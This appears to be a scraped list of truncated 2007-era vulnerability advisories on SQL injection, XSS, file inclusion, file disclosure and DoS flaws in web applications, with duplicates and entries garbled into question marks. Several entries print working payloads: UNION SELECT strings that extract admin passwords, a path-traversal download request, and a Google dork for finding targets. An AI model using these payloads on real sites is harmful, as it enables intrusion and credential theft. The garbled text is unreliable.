joblister-sql.txt

JobLister3 by SkilMatch Staffing Systems, Inc. Multiple SQL injection vulnerabilities http://www.dubdubdub.com/ http://www.skilmatch.com/ The search form filed doesnt strip special characters that have special meanings. A single quote makes the application spit out a number of errors. This is not...

Cross site scripting

Cross-site scripting XSS vulnerability in index.php in the Unnamed theme 1.217, and Special Edition SE 1.02, before 20070804 for WordPress allows remote attackers to inject arbitrary web script or HTML via the s parameter, possibly a related issue to CVE-2007-2757, CVE-2007-4014, and CVE-2007-416...

ContentDM Search.php XSS Vulnerability

ContentDM has a XSS vulnerability. Many .gov sites run this software. CDM fails to block special charachters etc so by searching for scriptalert'XSS';/script We can make a popup saying XSS. An attacker could steal cookies, redirect the page etc. Found by MeRhys Phillips Date found: 3rd August 200...

CVE-2007-3799

The sessionstart function in ext/session in PHP 4.x up to 4.4.7 and 5.x up to 5.2.3 allows remote attackers to insert arbitrary attributes into the session cookie via special characters in a cookie that is obtained from 1 PATHINFO, 2 the sessionid function, and 3 the sessionstart function, which...

CVE-2007-3799

The sessionstart function in ext/session in PHP 4.x up to 4.4.7 and 5.x up to 5.2.3 allows remote attackers to insert arbitrary attributes into the session cookie via special characters in a cookie that is obtained from 1 PATHINFO, 2 the sessionid function, and 3 the sessionstart function, which...

Microsoft Internet Explorer DoS

Browser DoS on the page in domain with special characters...

Musoo 0.21 - Remote File Inclusion

Musoo 0.21 - Remote File Inclusion Musoo 0.21GLOBALSiniarrayEXTLIBPATHRemote File Include D.Script: http://osx.freshmeat.net/redir/musoo/65735/urltgz/musoo-0.21.tar.gz V.Code : requireonce $GLOBALS"iniarray""EXTLIBPATH".'/ In : /msDb.php /modules/MusooTemplateLite.php /modules/SoundImporter.php...

Kartli Alisveris Sistemi 1.0 Remote SQL Injection Vulnerability

No description provided by source. Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ & http://www.by-gsy.org/ Script download: http://download.asprehberi.net/dosyalar/kategoriler/alisveris/freepaypalshoppingcarttr.zip Exploit:...

Kartli Alisveris Sistemi 1.0 - SQL Injection

Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ & http://www.by-gsy.org/ Script download: http://download.asprehberi.net/dosyalar/kategoriler/alisveris/freepaypalshoppingcarttr.zip Exploit: /news.asp?newsid=16union+select+all+0,1,adminname,Password,4+from+admin Example :...

jsp vulnerabilities and solutions-vulnerability warning-the black bar safety net

Overview: The server vulnerability is a security Origin, a hacker on the site of the attack is also mostly from the Find each other's vulnerabilities. So only understand its own vulnerability, the site managers to take appropriate measures to prevent foreign attacks. The following describes some ...

Microsoft .Net special DOS device access problem

Request like /AUX/.aspx causes special DOS device access and may lead to DoS conditions with resource exhaustion...

phpglossar-rfi.txt

?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ????????????????????????????????????? ???????????????????????????????????????...

Experts dissect hacker how to pass the Google attacks-vulnerability warning-the black bar safety net

Google is a powerful search engine, through a predefined command or some special character search, you can query to the incredible results. Use Google to search the Smart Search, you can even enter the part of the remote server to obtain the secret, and search sensitive information, cause...

blogme-sql.txt

Discoveredby:gsy&kerem125 Website:www.kerem125.com ScriptDownload:http://www.drumster.net/gamma/products.asp must buy exploit:/blogme/archshow.asp?var=-99%20Union+all+select+0,1,2,3,4,username,password,7,8,9,10,0+from+admin contact:[email protected]&[email protected]...

runawaysoft haber portal 1.0 - 'tr' Multiple Vulnerabilities

Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ Script download: http://www.aspindir.com/goster/4901 Exploit: /devami.asp?id=14 union+select+all+0,sifre,2,3,4,5,6,7+from+admin Admin Login : haber/admin/kontrol.asp Example: http://www.runaway.somee.com/rshaber/haber/devami.asp?id=1...

PHPGlossar 0.8 - format_menue Remote File Inclusion

PHPGlossar 0.8 - formatmenue Remote File Inclusion ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...

runawaysoft haber portal 1.0 - tr Multiple Vulnerabilities

runawaysoft haber portal 1.0 - tr Multiple Vulnerabilities Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ Script download: http://www.aspindir.com/goster/4901 Exploit: /devami.asp?id=14 union+select+all+0,sifre,2,3,4,5,6,7+from+admin Admin Login : haber/admin/kontrol.asp Example:...

phpAtm 1.30 - downloadfile Remote File Disclosure

phpAtm 1.30 - downloadfile Remote File Disclosure download page in : http://phpatm.free.fr/ bug in : phpatm injection attack : index.php?action=downloadfile&filename=index.php&directory=../& Dork in google : "powered by php advanced transfer manager" example :...

phpAtm 1.30 - 'downloadfile' Remote File Disclosure

download page in : http://phpatm.free.fr/ bug in : phpatm injection attack : index.php?action=downloadfile&filename=index.php&directory=../& Dork in google : "powered by php advanced transfer manager" example :...

BlogMe 3.0 - archshow.asp?var SQL Injection

BlogMe 3.0 - archshow.asp?var SQL Injection Discoveredby:gsy&kerem125 Website:www.kerem125.com ScriptDownload:http://www.drumster.net/gamma/products.asp must buy exploit:/blogme/archshow.asp?var=-99%20Union+all+select+0,1,2,3,4,username,password,7,8,9,10,0+from+admin...